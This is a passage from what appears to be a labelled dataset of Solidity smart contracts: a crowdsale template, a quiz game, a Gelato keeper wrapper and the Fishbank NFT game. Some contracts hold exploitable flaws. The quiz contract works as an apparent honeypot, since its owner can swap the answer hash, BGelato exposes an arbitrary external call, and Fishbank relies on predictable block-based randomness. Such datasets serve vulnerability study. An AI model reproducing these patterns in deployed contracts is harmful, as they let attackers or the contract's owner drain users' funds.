return msg.sender == serviceAccount;
}
function check() onlyService notTriggered payable public {
if (internalCheck()) {
Triggered(this.balance);
triggered = true;
internalAction();
}
}
function internalCheck() internal returns (bool);
function internalAction() internal;
modifier onlyService {
require(msg.sender == serviceAccount);
_;
}
modifier notTriggered() {
require(!triggered);
_;
}
}
contract BonusableCrowdsale is Consts, Crowdsale {
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 bonusRate = getBonusRate(weiAmount);
uint256 tokens = weiAmount.mul(bonusRate).div(1 ether);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function getBonusRate(uint256 weiAmount) internal view returns (uint256) {
uint256 bonusRate = rate;
return bonusRate;
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
, CappedCrowdsale
, Checkable
{
event Initialized();
bool public initialized = false;
function TemplateCrowdsale(MintableToken _token) public
Crowdsale(START_TIME > now ? START_TIME : now, 1524355200, 10000 * TOKEN_DECIMAL_MULTIPLIER, 0x8f302c391b2b6fd064ae8257d09a13d9fedde207)
CappedCrowdsale(5000000000000000000000)
{
token = _token;
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
address[1] memory addresses = [address(0xd03d4529efbef18770d725e9cea045cd8e5a0997)];
uint[1] memory amounts = [uint(1680000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
MainToken(token).mint(addresses[i], amounts[i]);
} else {
MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
transferOwnership(TARGET_USER);
Initialized();
}
function createTokenContract() internal returns (MintableToken) {
return MintableToken(0);
}
function internalCheck() internal returns (bool) {
bool result = !isFinalized && hasEnded();
Checked(result);
return result;
}
function internalAction() internal {
finalization();
Finalized();
isFinalized = true;
}
} | 1 | 3,482 |
pragma solidity ^0.4.20;
contract play_to_quiz
{
function Try(string _response) external payable {
require(msg.sender == tx.origin);
if(responseHash == keccak256(_response) && msg.value>3 ether)
{
msg.sender.transfer(this.balance);
}
}
string public question;
address questionSender;
bytes32 responseHash;
function set_game(string _question,string _response) public payable {
if(responseHash==0x0)
{
responseHash = keccak256(_response);
question = _question;
questionSender = msg.sender;
}
}
function StopGame() public payable {
require(msg.sender==questionSender);
msg.sender.transfer(this.balance);
}
function NewQuestion(string _question, bytes32 _responseHash) public payable {
if(msg.sender==questionSender){
question = _question;
responseHash = _responseHash;
}
}
function newQuestioner(address newAddress) public {
if(msg.sender==questionSender)questionSender = newAddress;
}
function() public payable{}
} | 1 | 2,785 |
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
interface KeeperLike {
function checkUpkeep(bytes calldata checkData) external returns (bool upkeepNeeded, bytes memory performData);
function performUpkeepSafe(bytes calldata performData) external;
function performUpkeep(bytes calldata performData) external;
}
contract BGelato {
KeeperLike immutable public proxy;
constructor(KeeperLike _proxy) public {
proxy = _proxy;
}
function checker()
external
returns (bool canExec, bytes memory execPayload)
{
(bool upkeepNeeded, bytes memory performData) = proxy.checkUpkeep(bytes(""));
canExec = upkeepNeeded;
execPayload = abi.encodeWithSelector(
BGelato.doer.selector,
performData
);
}
function doer(bytes calldata performData) external {
proxy.performUpkeepSafe(performData);
}
function test(bytes calldata input) external {
address(this).call(input);
}
} | 0 | 1,523 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Beneficiary is Ownable {
address public beneficiary;
function Beneficiary() public {
beneficiary = msg.sender;
}
function setBeneficiary(address _beneficiary) onlyOwner public {
beneficiary = _beneficiary;
}
}
contract ChestsStore is Beneficiary {
struct chestProduct {
uint256 price;
bool isLimited;
uint32 limit;
uint16 boosters;
uint24 raiseChance;
uint24 raiseStrength;
uint8 onlyBoosterType;
uint8 onlyBoosterStrength;
}
chestProduct[255] public chestProducts;
FishbankChests chests;
function ChestsStore(address _chests) public {
chests = FishbankChests(_chests);
}
function initChestsStore() public onlyOwner {
setChestProduct(1, 0, 1, false, 0, 0, 0, 0, 0);
setChestProduct(2, 15 finney, 3, false, 0, 0, 0, 0, 0);
setChestProduct(3, 20 finney, 5, false, 0, 0, 0, 0, 0);
}
function setChestProduct(uint16 chestId, uint256 price, uint16 boosters, bool isLimited, uint32 limit, uint24 raiseChance, uint24 raiseStrength, uint8 onlyBoosterType, uint8 onlyBoosterStrength) onlyOwner public {
chestProduct storage newProduct = chestProducts[chestId];
newProduct.price = price;
newProduct.boosters = boosters;
newProduct.isLimited = isLimited;
newProduct.limit = limit;
newProduct.raiseChance = raiseChance;
newProduct.raiseStrength = raiseStrength;
newProduct.onlyBoosterType = onlyBoosterType;
newProduct.onlyBoosterStrength = onlyBoosterStrength;
}
function setChestPrice(uint16 chestId, uint256 price) onlyOwner public {
chestProducts[chestId].price = price;
}
function buyChest(uint16 _chestId) payable public {
chestProduct memory tmpChestProduct = chestProducts[_chestId];
require(tmpChestProduct.price > 0);
require(msg.value >= tmpChestProduct.price);
require(!tmpChestProduct.isLimited || tmpChestProduct.limit > 0);
chests.mintChest(msg.sender, tmpChestProduct.boosters, tmpChestProduct.raiseStrength, tmpChestProduct.raiseChance, tmpChestProduct.onlyBoosterType, tmpChestProduct.onlyBoosterStrength);
if (msg.value > chestProducts[_chestId].price) {
msg.sender.transfer(msg.value - chestProducts[_chestId].price);
}
beneficiary.transfer(chestProducts[_chestId].price);
}
}
contract FishbankBoosters is Ownable {
struct Booster {
address owner;
uint32 duration;
uint8 boosterType;
uint24 raiseValue;
uint8 strength;
uint32 amount;
}
Booster[] public boosters;
bool public implementsERC721 = true;
string public name = "Fishbank Boosters";
string public symbol = "FISHB";
mapping(uint256 => address) public approved;
mapping(address => uint256) public balances;
address public fishbank;
address public chests;
address public auction;
modifier onlyBoosterOwner(uint256 _tokenId) {
require(boosters[_tokenId].owner == msg.sender);
_;
}
modifier onlyChest() {
require(chests == msg.sender);
_;
}
function FishbankBoosters() public {
}
function mintBooster(address _owner, uint32 _duration, uint8 _type, uint8 _strength, uint32 _amount, uint24 _raiseValue) onlyChest public {
boosters.length ++;
Booster storage tempBooster = boosters[boosters.length - 1];
tempBooster.owner = _owner;
tempBooster.duration = _duration;
tempBooster.boosterType = _type;
tempBooster.strength = _strength;
tempBooster.amount = _amount;
tempBooster.raiseValue = _raiseValue;
Transfer(address(0), _owner, boosters.length - 1);
}
function setFishbank(address _fishbank) onlyOwner public {
fishbank = _fishbank;
}
function setChests(address _chests) onlyOwner public {
if (chests != address(0)) {
revert();
}
chests = _chests;
}
function setAuction(address _auction) onlyOwner public {
auction = _auction;
}
function getBoosterType(uint256 _tokenId) view public returns (uint8 boosterType) {
boosterType = boosters[_tokenId].boosterType;
}
function getBoosterAmount(uint256 _tokenId) view public returns (uint32 boosterAmount) {
boosterAmount = boosters[_tokenId].amount;
}
function getBoosterDuration(uint256 _tokenId) view public returns (uint32) {
if (boosters[_tokenId].boosterType == 4 || boosters[_tokenId].boosterType == 2) {
return boosters[_tokenId].duration + boosters[_tokenId].raiseValue * 60;
}
return boosters[_tokenId].duration;
}
function getBoosterStrength(uint256 _tokenId) view public returns (uint8 strength) {
strength = boosters[_tokenId].strength;
}
function getBoosterRaiseValue(uint256 _tokenId) view public returns (uint24 raiseValue) {
raiseValue = boosters[_tokenId].raiseValue;
}
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
function totalSupply() public view returns (uint256 total) {
total = boosters.length;
}
function balanceOf(address _owner) public view returns (uint256 balance){
balance = balances[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address owner){
owner = boosters[_tokenId].owner;
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
require(boosters[_tokenId].owner == _from);
boosters[_tokenId].owner = _to;
approved[_tokenId] = address(0);
balances[_from] -= 1;
balances[_to] += 1;
Transfer(_from, _to, _tokenId);
}
function transfer(address _to, uint256 _tokenId) public
onlyBoosterOwner(_tokenId)
returns (bool)
{
_transfer(msg.sender, _to, _tokenId);
return true;
}
function approve(address _to, uint256 _tokenId) public
onlyBoosterOwner(_tokenId)
{
approved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId) public returns (bool) {
require(approved[_tokenId] == msg.sender || msg.sender == fishbank || msg.sender == auction);
_transfer(_from, _to, _tokenId);
return true;
}
function takeOwnership(uint256 _tokenId) public {
require(approved[_tokenId] == msg.sender);
_transfer(ownerOf(_tokenId), msg.sender, _tokenId);
}
}
contract FishbankChests is Ownable {
struct Chest {
address owner;
uint16 boosters;
uint16 chestType;
uint24 raiseChance;
uint8 onlySpecificType;
uint8 onlySpecificStrength;
uint24 raiseStrength;
}
Chest[] public chests;
FishbankBoosters public boosterContract;
mapping(uint256 => address) public approved;
mapping(address => uint256) public balances;
mapping(address => bool) public minters;
modifier onlyChestOwner(uint256 _tokenId) {
require(chests[_tokenId].owner == msg.sender);
_;
}
modifier onlyMinters() {
require(minters[msg.sender]);
_;
}
function FishbankChests(address _boosterAddress) public {
boosterContract = FishbankBoosters(_boosterAddress);
}
function addMinter(address _minter) onlyOwner public {
minters[_minter] = true;
}
function removeMinter(address _minter) onlyOwner public {
minters[_minter] = false;
}
function mintChest(address _owner, uint16 _boosters, uint24 _raiseStrength, uint24 _raiseChance, uint8 _onlySpecificType, uint8 _onlySpecificStrength) onlyMinters public {
chests.length++;
chests[chests.length - 1].owner = _owner;
chests[chests.length - 1].boosters = _boosters;
chests[chests.length - 1].raiseStrength = _raiseStrength;
chests[chests.length - 1].raiseChance = _raiseChance;
chests[chests.length - 1].onlySpecificType = _onlySpecificType;
chests[chests.length - 1].onlySpecificStrength = _onlySpecificStrength;
Transfer(address(0), _owner, chests.length - 1);
}
function convertChest(uint256 _tokenId) onlyChestOwner(_tokenId) public {
Chest memory chest = chests[_tokenId];
uint16 numberOfBoosters = chest.boosters;
if (chest.onlySpecificType != 0) {
if (chest.onlySpecificType == 1 || chest.onlySpecificType == 3) {
boosterContract.mintBooster(msg.sender, 2 days, chest.onlySpecificType, chest.onlySpecificStrength, chest.boosters, chest.raiseStrength);
} else if (chest.onlySpecificType == 5) {
boosterContract.mintBooster(msg.sender, 0, 5, 1, chest.boosters, chest.raiseStrength);
} else if (chest.onlySpecificType == 2) {
uint32 freezeTime = 7 days;
if (chest.onlySpecificStrength == 2) {
freezeTime = 14 days;
} else if (chest.onlySpecificStrength == 3) {
freezeTime = 30 days;
}
boosterContract.mintBooster(msg.sender, freezeTime, 5, chest.onlySpecificType, chest.boosters, chest.raiseStrength);
} else if (chest.onlySpecificType == 4) {
uint32 watchTime = 12 hours;
if (chest.onlySpecificStrength == 2) {
watchTime = 48 hours;
} else if (chest.onlySpecificStrength == 3) {
watchTime = 3 days;
}
boosterContract.mintBooster(msg.sender, watchTime, 4, chest.onlySpecificStrength, chest.boosters, chest.raiseStrength);
}
} else {
for (uint8 i = 0; i < numberOfBoosters; i ++) {
uint24 random = uint16(keccak256(block.coinbase, block.blockhash(block.number - 1), i, chests.length)) % 1000
- chest.raiseChance;
if (random > 850) {
boosterContract.mintBooster(msg.sender, 2 days, 1, 1, 1, chest.raiseStrength);
} else if (random > 700) {
boosterContract.mintBooster(msg.sender, 7 days, 2, 1, 1, chest.raiseStrength);
} else if (random > 550) {
boosterContract.mintBooster(msg.sender, 2 days, 3, 1, 1, chest.raiseStrength);
} else if (random > 400) {
boosterContract.mintBooster(msg.sender, 12 hours, 4, 1, 1, chest.raiseStrength);
} else if (random > 325) {
boosterContract.mintBooster(msg.sender, 48 hours, 4, 2, 1, chest.raiseStrength);
} else if (random > 250) {
boosterContract.mintBooster(msg.sender, 2 days, 1, 2, 1, chest.raiseStrength);
} else if (random > 175) {
boosterContract.mintBooster(msg.sender, 14 days, 2, 2, 1, chest.raiseStrength);
} else if (random > 100) {
boosterContract.mintBooster(msg.sender, 2 days, 3, 2, 1, chest.raiseStrength);
} else if (random > 80) {
boosterContract.mintBooster(msg.sender, 2 days, 1, 3, 1, chest.raiseStrength);
} else if (random > 60) {
boosterContract.mintBooster(msg.sender, 30 days, 2, 3, 1, chest.raiseStrength);
} else if (random > 40) {
boosterContract.mintBooster(msg.sender, 2 days, 3, 3, 1, chest.raiseStrength);
} else if (random > 20) {
boosterContract.mintBooster(msg.sender, 0, 5, 1, 1, 0);
} else {
boosterContract.mintBooster(msg.sender, 3 days, 4, 3, 1, 0);
}
}
}
_transfer(msg.sender, address(0), _tokenId);
}
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
function totalSupply() public view returns (uint256 total) {
total = chests.length;
}
function balanceOf(address _owner) public view returns (uint256 balance){
balance = balances[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address owner){
owner = chests[_tokenId].owner;
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
require(chests[_tokenId].owner == _from);
chests[_tokenId].owner = _to;
approved[_tokenId] = address(0);
balances[_from] -= 1;
balances[_to] += 1;
Transfer(_from, _to, _tokenId);
}
function transfer(address _to, uint256 _tokenId) public
onlyChestOwner(_tokenId)
returns (bool)
{
_transfer(msg.sender, _to, _tokenId);
return true;
}
function approve(address _to, uint256 _tokenId) public
onlyChestOwner(_tokenId)
{
approved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId) public returns (bool) {
require(approved[_tokenId] == msg.sender);
_transfer(_from, _to, _tokenId);
return true;
}
}
contract FishbankUtils is Ownable {
uint32[100] cooldowns = [
720 minutes, 720 minutes, 720 minutes, 720 minutes, 720 minutes,
660 minutes, 660 minutes, 660 minutes, 660 minutes, 660 minutes,
600 minutes, 600 minutes, 600 minutes, 600 minutes, 600 minutes,
540 minutes, 540 minutes, 540 minutes, 540 minutes, 540 minutes,
480 minutes, 480 minutes, 480 minutes, 480 minutes, 480 minutes,
420 minutes, 420 minutes, 420 minutes, 420 minutes, 420 minutes,
360 minutes, 360 minutes, 360 minutes, 360 minutes, 360 minutes,
300 minutes, 300 minutes, 300 minutes, 300 minutes, 300 minutes,
240 minutes, 240 minutes, 240 minutes, 240 minutes, 240 minutes,
180 minutes, 180 minutes, 180 minutes, 180 minutes, 180 minutes,
120 minutes, 120 minutes, 120 minutes, 120 minutes, 120 minutes,
90 minutes, 90 minutes, 90 minutes, 90 minutes, 90 minutes,
75 minutes, 75 minutes, 75 minutes, 75 minutes, 75 minutes,
60 minutes, 60 minutes, 60 minutes, 60 minutes, 60 minutes,
50 minutes, 50 minutes, 50 minutes, 50 minutes, 50 minutes,
40 minutes, 40 minutes, 40 minutes, 40 minutes, 40 minutes,
30 minutes, 30 minutes, 30 minutes, 30 minutes, 30 minutes,
20 minutes, 20 minutes, 20 minutes, 20 minutes, 20 minutes,
10 minutes, 10 minutes, 10 minutes, 10 minutes, 10 minutes,
5 minutes, 5 minutes, 5 minutes, 5 minutes, 5 minutes
];
function setCooldowns(uint32[100] _cooldowns) onlyOwner public {
cooldowns = _cooldowns;
}
function getFishParams(uint256 hashSeed1, uint256 hashSeed2, uint256 fishesLength, address coinbase) external pure returns (uint32[4]) {
bytes32[5] memory hashSeeds;
hashSeeds[0] = keccak256(hashSeed1 ^ hashSeed2);
hashSeeds[1] = keccak256(hashSeeds[0], fishesLength);
hashSeeds[2] = keccak256(hashSeeds[1], coinbase);
hashSeeds[3] = keccak256(hashSeeds[2], coinbase, fishesLength);
hashSeeds[4] = keccak256(hashSeeds[1], hashSeeds[2], hashSeeds[0]);
uint24[6] memory seeds = [
uint24(uint(hashSeeds[3]) % 10e6 + 1),
uint24(uint(hashSeeds[0]) % 420 + 1),
uint24(uint(hashSeeds[1]) % 420 + 1),
uint24(uint(hashSeeds[2]) % 150 + 1),
uint24(uint(hashSeeds[4]) % 16 + 1),
uint24(uint(hashSeeds[4]) % 5000 + 1)
];
uint32[4] memory fishParams;
if (seeds[0] == 1000000) {
if (seeds[4] == 1) {
fishParams = [140 + uint8(seeds[1] / 42), 140 + uint8(seeds[2] / 42), 75 + uint8(seeds[3] / 6), uint32(500000)];
if(fishParams[0] == 140) {
fishParams[0]++;
}
if(fishParams[1] == 140) {
fishParams[1]++;
}
if(fishParams[2] == 75) {
fishParams[2]++;
}
} else if (seeds[4] < 4) {
fishParams = [130 + uint8(seeds[1] / 42), 130 + uint8(seeds[2] / 42), 75 + uint8(seeds[3] / 6), uint32(500000)];
if(fishParams[0] == 130) {
fishParams[0]++;
}
if(fishParams[1] == 130) {
fishParams[1]++;
}
if(fishParams[2] == 75) {
fishParams[2]++;
}
} else {
fishParams = [115 + uint8(seeds[1] / 28), 115 + uint8(seeds[2] / 28), 75 + uint8(seeds[3] / 6), uint32(500000)];
if(fishParams[0] == 115) {
fishParams[0]++;
}
if(fishParams[1] == 115) {
fishParams[1]++;
}
if(fishParams[2] == 75) {
fishParams[2]++;
}
}
} else {
if (seeds[5] == 5000) {
fishParams = [85 + uint8(seeds[1] / 14), 85 + uint8(seeds[2] / 14), uint8(50 + seeds[3] / 3), uint32(1000)];
if(fishParams[0] == 85) {
fishParams[0]++;
}
if(fishParams[1] == 85) {
fishParams[1]++;
}
} else if (seeds[5] > 4899) {
fishParams = [50 + uint8(seeds[1] / 12), 50 + uint8(seeds[2] / 12), uint8(25 + seeds[3] / 2), uint32(300)];
if(fishParams[0] == 50) {
fishParams[0]++;
}
if(fishParams[1] == 50) {
fishParams[1]++;
}
} else if (seeds[5] > 4000) {
fishParams = [20 + uint8(seeds[1] / 14), 20 + uint8(seeds[2] / 14), uint8(25 + seeds[3] / 3), uint32(100)];
if(fishParams[0] == 20) {
fishParams[0]++;
}
if(fishParams[1] == 20) {
fishParams[1]++;
}
} else {
fishParams = [uint8(seeds[1] / 21), uint8(seeds[2] / 21), uint8(seeds[3] / 3), uint32(36)];
if (fishParams[0] == 0) {
fishParams[0] = 1;
}
if (fishParams[1] == 0) {
fishParams[1] = 1;
}
if (fishParams[2] == 0) {
fishParams[2] = 1;
}
}
}
return fishParams;
}
function getCooldown(uint16 speed) external view returns (uint64){
return uint64(now + cooldowns[speed - 1]);
}
function ceil(uint base, uint divider) internal pure returns (uint) {
return base / divider + ((base % divider > 0) ? 1 : 0);
}
}
contract ERC721 {
function implementsERC721() public pure returns (bool);
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function approve(address _to, uint256 _tokenId) public;
function transferFrom(address _from, address _to, uint256 _tokenId) public returns (bool);
function transfer(address _to, uint256 _tokenId) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
}
contract ERC721Auction is Beneficiary {
struct Auction {
address seller;
uint256 tokenId;
uint64 auctionBegin;
uint64 auctionEnd;
uint256 startPrice;
uint256 endPrice;
}
uint32 public auctionDuration = 7 days;
ERC721 public ERC721Contract;
uint256 public fee = 45000;
uint256 constant FEE_DIVIDER = 1000000;
mapping(uint256 => Auction) public auctions;
event AuctionWon(uint256 indexed tokenId, address indexed winner, address indexed seller, uint256 price);
event AuctionStarted(uint256 indexed tokenId, address indexed seller);
event AuctionFinalized(uint256 indexed tokenId, address indexed seller);
function startAuction(uint256 _tokenId, uint256 _startPrice, uint256 _endPrice) external {
require(ERC721Contract.transferFrom(msg.sender, address(this), _tokenId));
require(_startPrice <= 10000 ether && _endPrice <= 10000 ether);
require(_startPrice >= (1 ether / 100) && _endPrice >= (1 ether / 100));
Auction memory auction;
auction.seller = msg.sender;
auction.tokenId = _tokenId;
auction.auctionBegin = uint64(now);
auction.auctionEnd = uint64(now + auctionDuration);
require(auction.auctionEnd > auction.auctionBegin);
auction.startPrice = _startPrice;
auction.endPrice = _endPrice;
auctions[_tokenId] = auction;
AuctionStarted(_tokenId, msg.sender);
}
function buyAuction(uint256 _tokenId) payable external {
Auction storage auction = auctions[_tokenId];
uint256 price = calculateBid(_tokenId);
uint256 totalFee = price * fee / FEE_DIVIDER;
require(price <= msg.value);
if (price != msg.value) {
msg.sender.transfer(msg.value - price);
}
beneficiary.transfer(totalFee);
auction.seller.transfer(price - totalFee);
if (!ERC721Contract.transfer(msg.sender, _tokenId)) {
revert();
}
AuctionWon(_tokenId, msg.sender, auction.seller, price);
delete auctions[_tokenId];
}
function saveToken(uint256 _tokenId) external {
require(auctions[_tokenId].auctionEnd < now);
require(ERC721Contract.transfer(auctions[_tokenId].seller, _tokenId));
AuctionFinalized(_tokenId, auctions[_tokenId].seller);
delete auctions[_tokenId];
}
function ERC721Auction(address _ERC721Contract) public {
ERC721Contract = ERC721(_ERC721Contract);
}
function setFee(uint256 _fee) onlyOwner public {
if (_fee > fee) {
revert();
}
fee = _fee;
}
function calculateBid(uint256 _tokenId) public view returns (uint256) {
Auction storage auction = auctions[_tokenId];
if (now >= auction.auctionEnd) {
return auction.endPrice;
}
uint256 hoursPassed = (now - auction.auctionBegin) / 1 hours;
uint256 currentPrice;
uint16 totalHours = uint16(auctionDuration /1 hours) - 1;
if (auction.endPrice > auction.startPrice) {
currentPrice = auction.startPrice + (hoursPassed * (auction.endPrice - auction.startPrice))/ totalHours;
} else if(auction.endPrice < auction.startPrice) {
currentPrice = auction.startPrice - (hoursPassed * (auction.startPrice - auction.endPrice))/ totalHours;
} else {
currentPrice = auction.endPrice;
}
return uint256(currentPrice);
}
function returnToken(uint256 _tokenId) onlyOwner public {
require(ERC721Contract.transfer(auctions[_tokenId].seller, _tokenId));
AuctionFinalized(_tokenId, auctions[_tokenId].seller);
delete auctions[_tokenId];
}
}
contract Fishbank is ChestsStore {
struct Fish {
address owner;
uint8 activeBooster;
uint64 boostedTill;
uint8 boosterStrength;
uint24 boosterRaiseValue;
uint64 weight;
uint16 power;
uint16 agility;
uint16 speed;
bytes16 color;
uint64 canFightAgain;
uint64 canBeAttackedAgain;
}
struct FishingAttempt {
address fisher;
uint256 feePaid;
address affiliate;
uint256 seed;
uint64 deadline;
}
modifier onlyFishOwner(uint256 _tokenId) {
require(fishes[_tokenId].owner == msg.sender);
_;
}
modifier onlyResolver() {
require(msg.sender == resolver);
_;
}
modifier onlyMinter() {
require(msg.sender == minter);
_;
}
Fish[] public fishes;
address public resolver;
address public auction;
address public minter;
bool public implementsERC721 = true;
string public name = "Fishbank";
string public symbol = "FISH";
bytes32[] public randomHashes;
uint256 public hashesUsed;
uint256 public aquariumCost = 1 ether / 100 * 3;
uint256 public resolveTime = 30 minutes;
uint16 public weightLostPartLimit = 5;
FishbankBoosters public boosters;
FishbankChests public chests;
FishbankUtils private utils;
mapping(bytes32 => FishingAttempt) public pendingFishing;
mapping(uint256 => address) public approved;
mapping(address => uint256) public balances;
mapping(address => bool) public affiliated;
event AquariumFished(
bytes32 hash,
address fisher,
uint256 feePaid
);
event AquariumResolved(bytes32 hash, address fisher);
event Attack(
uint256 attacker,
uint256 victim,
uint256 winner,
uint64 weight,
uint256 ap, uint256 vp, uint256 random
);
event BoosterApplied(uint256 tokenId, uint256 boosterId);
function Fishbank(address _boosters, address _chests, address _utils) ChestsStore(_chests) public {
resolver = msg.sender;
beneficiary = msg.sender;
boosters = FishbankBoosters(_boosters);
chests = FishbankChests(_chests);
utils = FishbankUtils(_utils);
}
function mintFish(address[] _owner, uint32[] _weight, uint8[] _power, uint8[] _agility, uint8[] _speed, bytes16[] _color) onlyMinter public {
for (uint i = 0; i < _owner.length; i ++) {
_mintFish(_owner[i], _weight[i], _power[i], _agility[i], _speed[i], _color[i]);
}
}
function _mintFish(address _owner, uint32 _weight, uint8 _power, uint8 _agility, uint8 _speed, bytes16 _color) internal {
fishes.length += 1;
uint256 newFishId = fishes.length - 1;
Fish storage newFish = fishes[newFishId];
newFish.owner = _owner;
newFish.weight = _weight;
newFish.power = _power;
newFish.agility = _agility;
newFish.speed = _speed;
newFish.color = _color;
balances[_owner] ++;
Transfer(address(0), _owner, newFishId);
}
function setWeightLostPartLimit(uint8 _weightPart) onlyOwner public {
weightLostPartLimit = _weightPart;
}
function setAquariumCost(uint256 _fee) onlyOwner public {
aquariumCost = _fee;
}
function setResolver(address _resolver) onlyOwner public {
resolver = _resolver;
}
function setBeneficiary(address _beneficiary) onlyOwner public {
beneficiary = _beneficiary;
}
function setAuction(address _auction) onlyOwner public {
auction = _auction;
}
function setBoosters(address _boosters) onlyOwner public {
boosters = FishbankBoosters(_boosters);
}
function setMinter(address _minter) onlyOwner public {
minter = _minter;
}
function setUtils(address _utils) onlyOwner public {
utils = FishbankUtils(_utils);
}
function batchFishAquarium(uint256[] _seeds, address _affiliate) payable public {
require(_seeds.length > 0);
require(msg.value >= aquariumCost);
require(randomHashes.length > hashesUsed + _seeds.length);
if (msg.value > aquariumCost * _seeds.length) {
msg.sender.transfer(msg.value - aquariumCost * _seeds.length);
}
for (uint256 i = 0; i < _seeds.length; i ++) {
_fishAquarium(_seeds[i]);
}
if(_affiliate != address(0)) {
pendingFishing[randomHashes[hashesUsed - 1]].affiliate = _affiliate;
}
}
function _fishAquarium(uint256 _seed) internal {
while (pendingFishing[randomHashes[hashesUsed]].fisher != address(0)) {
hashesUsed++;
}
FishingAttempt storage newAttempt = pendingFishing[randomHashes[hashesUsed]];
newAttempt.fisher = msg.sender;
newAttempt.feePaid = aquariumCost;
newAttempt.seed = _seed;
newAttempt.deadline = uint64(now + resolveTime);
hashesUsed++;
AquariumFished(randomHashes[hashesUsed - 1], msg.sender, aquariumCost);
}
function _resolveAquarium(uint256 _seed) internal {
bytes32 tempHash = keccak256(_seed);
FishingAttempt storage tempAttempt = pendingFishing[tempHash];
require(tempAttempt.fisher != address(0));
if (tempAttempt.affiliate != address(0) && !affiliated[tempAttempt.fisher]) {
chests.mintChest(tempAttempt.affiliate, 1, 0, 0, 0, 0);
affiliated[tempAttempt.fisher] = true;
}
uint32[4] memory fishParams = utils.getFishParams(_seed, tempAttempt.seed, fishes.length, block.coinbase);
_mintFish(tempAttempt.fisher, fishParams[3], uint8(fishParams[0]), uint8(fishParams[1]), uint8(fishParams[2]), bytes16(keccak256(_seed ^ tempAttempt.seed)));
beneficiary.transfer(tempAttempt.feePaid);
AquariumResolved(tempHash, tempAttempt.fisher);
delete pendingFishing[tempHash];
}
function batchResolveAquarium(uint256[] _seeds) onlyResolver public {
for (uint256 i = 0; i < _seeds.length; i ++) {
_resolveAquarium(_seeds[i]);
}
}
function addHash(bytes32[] _hashes) onlyResolver public {
for (uint i = 0; i < _hashes.length; i ++) {
randomHashes.push(_hashes[i]);
}
}
function attack(uint256 _attacker, uint256 _victim) onlyFishOwner(_attacker) public {
Fish memory attacker = fishes[_attacker];
Fish memory victim = fishes[_victim];
if (attacker.activeBooster == 2 && attacker.boostedTill > now) {
fishes[_attacker].activeBooster = 0;
attacker.boostedTill = uint64(now);
}
require(!((victim.activeBooster == 2) && victim.boostedTill >= now));
require(now >= attacker.canFightAgain);
require(now >= victim.canBeAttackedAgain);
if (msg.sender == victim.owner) {
uint64 weight = attacker.weight < victim.weight ? attacker.weight : victim.weight;
fishes[_attacker].weight += weight;
fishes[_victim].weight -= weight;
fishes[_attacker].canFightAgain = uint64(utils.getCooldown(attacker.speed));
if (fishes[_victim].weight == 0) {
_transfer(msg.sender, address(0), _victim);
balances[fishes[_victim].owner] --;
} else {
fishes[_victim].canBeAttackedAgain = uint64(now + 1 hours);
}
Attack(_attacker, _victim, _attacker, weight, 0, 0, 0);
return;
}
if (victim.weight < 2 || attacker.weight < 2) {
revert();
}
uint256 AP = getFightingAmounts(attacker, true);
uint256 VP = getFightingAmounts(victim, false);
bytes32 randomHash = keccak256(block.coinbase, block.blockhash(block.number - 1), fishes.length);
uint256 max = AP > VP ? AP : VP;
uint256 attackRange = max * 2;
uint256 random = uint256(randomHash) % attackRange + 1;
uint64 weightLost;
if (random <= (max + AP - VP)) {
weightLost = _handleWin(_attacker, _victim);
Attack(_attacker, _victim, _attacker, weightLost, AP, VP, random);
} else {
weightLost = _handleWin(_victim, _attacker);
Attack(_attacker, _victim, _victim, weightLost, AP, VP, random);
}
fishes[_attacker].canFightAgain = uint64(utils.getCooldown(attacker.speed));
fishes[_victim].canBeAttackedAgain = uint64(now + 1 hours);
}
function _handleWin(uint256 _winner, uint256 _loser) internal returns (uint64) {
Fish storage winner = fishes[_winner];
Fish storage loser = fishes[_loser];
uint64 fullWeightLost = loser.weight / sqrt(winner.weight);
uint64 maxWeightLost = loser.weight / weightLostPartLimit;
uint64 weightLost = maxWeightLost < fullWeightLost ? maxWeightLost : fullWeightLost;
if (weightLost < 1) {
weightLost = 1;
}
winner.weight += weightLost;
loser.weight -= weightLost;
return weightLost;
}
function getFightingAmounts(Fish _fish, bool _is_attacker) internal view returns (uint256){
return (getFishPower(_fish) * (_is_attacker ? 60 : 40) + getFishAgility(_fish) * (_is_attacker ? 40 : 60)) * _fish.weight;
}
function applyBooster(uint256 _tokenId, uint256 _booster) onlyFishOwner(_tokenId) public {
require(msg.sender == boosters.ownerOf(_booster));
require(boosters.getBoosterAmount(_booster) >= 1);
Fish storage tempFish = fishes[_tokenId];
uint8 boosterType = uint8(boosters.getBoosterType(_booster));
if (boosterType == 1 || boosterType == 2 || boosterType == 3) {
